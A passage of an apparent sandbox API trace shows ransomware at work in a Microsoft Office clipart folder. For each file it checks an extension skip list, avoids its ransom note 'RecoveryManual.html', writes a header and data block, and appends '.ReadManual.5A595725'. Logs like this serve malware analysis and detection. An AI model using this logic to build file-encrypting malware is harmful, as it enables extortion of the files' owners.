[0263.074] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.074] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" [0263.074] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.ReadManual.5A595725" [0263.074] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.ReadManual.5A595725") returned 87 [0263.074] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38374292643) returned 1 [0263.074] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0263.075] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.075] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2472) returned 1 [0263.075] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a8, lpName=0x0) returned 0x184 [0263.075] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.076] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.076] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.078] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.078] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a8) returned 0x2f0000 [0263.078] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.078] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38374710404) returned 1 [0263.078] CloseHandle (hObject=0x184) returned 1 [0263.078] SetSecurityInfo () returned 0x57 [0263.079] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.079] CloseHandle (hObject=0x194) returned 1 [0263.079] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0263.079] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00231_.WMF" | out: lpString1="HH00231_.WMF") returned="HH00231_.WMF" [0263.079] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.079] StrStrIW (lpFirst="HH00231_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.079] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.079] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.079] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" [0263.079] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.ReadManual.5A595725" [0263.079] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.ReadManual.5A595725") returned 87 [0263.079] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38374804492) returned 1 [0263.079] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0263.080] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.080] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2232) returned 1 [0263.080] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b8, lpName=0x0) returned 0x184 [0263.080] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.081] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.081] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.083] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.083] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b8) returned 0x2f0000 [0263.083] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.083] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38375205686) returned 1 [0263.083] CloseHandle (hObject=0x184) returned 1 [0263.083] SetSecurityInfo () returned 0x57 [0263.084] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.084] CloseHandle (hObject=0x194) returned 1 [0263.084] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0263.084] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00235_.WMF" | out: lpString1="HH00235_.WMF") returned="HH00235_.WMF" [0263.084] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.084] StrStrIW (lpFirst="HH00235_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.084] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.084] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.084] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" [0263.084] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.ReadManual.5A595725" [0263.084] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.ReadManual.5A595725") returned 87 [0263.084] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38375317483) returned 1 [0263.084] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0263.085] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.085] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1026) returned 1 [0263.085] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x402, lpName=0x0) returned 0x184 [0263.085] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.086] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.086] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.087] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.088] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x402) returned 0x2f0000 [0263.088] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.088] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38375649297) returned 1 [0263.088] CloseHandle (hObject=0x184) returned 1 [0263.088] SetSecurityInfo () returned 0x57 [0263.088] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.088] CloseHandle (hObject=0x194) returned 1 [0263.088] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0263.088] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00236_.WMF" | out: lpString1="HH00236_.WMF") returned="HH00236_.WMF" [0263.088] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.088] StrStrIW (lpFirst="HH00236_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.088] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.088] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.089] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.089] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" [0263.089] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.ReadManual.5A595725" [0263.089] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.ReadManual.5A595725") returned 87 [0263.089] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38375748016) returned 1 [0263.089] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0263.089] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.089] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3286) returned 1 [0263.089] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd6, lpName=0x0) returned 0x184 [0263.089] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.090] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.090] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.092] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.092] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcd6) returned 0x2f0000 [0263.092] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.092] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38376097835) returned 1 [0263.092] CloseHandle (hObject=0x184) returned 1 [0263.092] SetSecurityInfo () returned 0x57 [0263.092] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.092] CloseHandle (hObject=0x194) returned 1 [0263.093] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0263.093] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00241_.WMF" | out: lpString1="HH00241_.WMF") returned="HH00241_.WMF" [0263.093] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.093] StrStrIW (lpFirst="HH00241_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.093] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.093] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.093] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" [0263.093] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.ReadManual.5A595725" [0263.093] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.ReadManual.5A595725") returned 87 [0263.093] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38376197867) returned 1 [0263.093] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0263.093] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.094] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1960) returned 1 [0263.094] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a8, lpName=0x0) returned 0x184 [0263.094] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.094] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.095] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.096] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.096] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a8) returned 0x2f0000 [0263.096] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.096] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38376514024) returned 1 [0263.096] CloseHandle (hObject=0x184) returned 1 [0263.096] SetSecurityInfo () returned 0x57 [0263.097] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.097] CloseHandle (hObject=0x194) returned 1 [0263.097] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0263.097] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00260_.WMF" | out: lpString1="HH00260_.WMF") returned="HH00260_.WMF" [0263.097] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.097] StrStrIW (lpFirst="HH00260_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.097] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.097] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.097] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" [0263.097] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.ReadManual.5A595725" [0263.097] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.ReadManual.5A595725") returned 87 [0263.097] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38376650777) returned 1 [0263.100] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 